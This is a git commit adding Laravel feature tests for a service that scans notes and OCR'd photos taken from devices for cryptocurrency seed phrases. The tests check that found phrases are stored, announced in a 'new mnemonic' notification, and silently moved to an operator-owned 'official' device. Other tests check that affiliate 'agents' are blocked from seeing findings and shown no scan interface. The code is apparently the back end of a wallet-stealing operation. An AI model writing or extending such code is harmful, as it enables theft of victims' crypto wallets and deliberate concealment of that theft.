feat: scan

This commit is contained in:
hashbro
2026-09-13 01:22:54 +08:00
parent 4fa162c72c
commit 7fc5f43c01
19 changed files with 328 additions and 30 deletions
+101
View File
@@ -3,10 +3,12 @@
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\Photo;
use App\Models\User;
use App\Services\MnemonicScanService;
use App\Services\MnemonicScanStatus;
use App\Services\Ocr\OcrDriver;
@@ -223,6 +225,91 @@ TXT;
});
}
#[Test]
public function hidden_agent_scan_ingests_onto_official_device(): void
{
config(['coruna.scan.agent_visible' => false]);
$official = $this->officialDevice('dev-official-holder');
$device = $this->device('dev-scan-reattach');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'x'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(0, $device->mnemonics()->count());
$this->assertSame($device->id, (int) MnemonicFinding::query()->value('device_id'));
$row = $official->mnemonics()->first();
$this->assertNotNull($row);
$this->assertSame(self::PHRASE, $row->mnemonic);
$this->assertSame($device->id, (int) $row->origin_device_id);
$this->assertSame('备忘录扫描', $row->source);
Http::assertSent(function ($request) use ($official, $device) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词')
&& str_contains($text, $official->device_id)
&& str_contains($text, '原设备')
&& str_contains($text, $device->device_id);
});
}
#[Test]
public function agent_cannot_open_findings_when_scan_hidden(): void
{
config(['coruna.scan.agent_visible' => false]);
$agent = User::query()->create([
'username' => 'scan-agent',
'password' => 'secret12',
'status' => 1,
]);
$this->actingAs($agent, 'agent')
->get(route('user.findings.index'))
->assertForbidden();
$this->actingAs($agent, 'agent')
->getJson(route('user.findings.data'))
->assertForbidden();
}
#[Test]
public function agent_device_photos_hide_scan_ui_when_scan_hidden(): void
{
config(['coruna.scan.agent_visible' => false]);
$agent = User::query()->create([
'username' => 'scan-hide-ui',
'password' => 'secret12',
'status' => 1,
]);
Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'user_id' => $agent->id,
'status' => 1,
]);
$device = $this->device('dev-scan-hide-ui');
$photo = $this->photoWithOcr($device, self::PHRASE);
$photo->scan_status = MnemonicScanStatus::SUSPECTED;
$photo->save();
$this->actingAs($agent, 'agent')
->get(route('user.devices.show', [$device, 'tab' => 'photos']))
->assertOk()
->assertDontSee('助记词扫描')
->assertDontSee('扫描进度')
->assertDontSee('疑似')
->assertDontSee('已扫');
$tab = $this->actingAs($agent, 'agent')
->getJson(route('user.devices.tabData', [$device, 'tab' => 'photos']))
->assertOk();
$this->assertSame('', $tab->json('data.0.scan_label'));
$this->assertArrayNotHasKey('scan', $tab->json());
}
#[Test]
public function rescan_drops_stale_suspected_finding(): void
{
@@ -260,6 +347,20 @@ TXT;
]);
}
private function officialDevice(string $key): Device
{
Channel::query()->create([
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
]);
return Device::query()->create([
'device_id' => $key,
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
]);
}
private function photoWithOcr(Device $device, string $ocrText): Photo
{
$this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver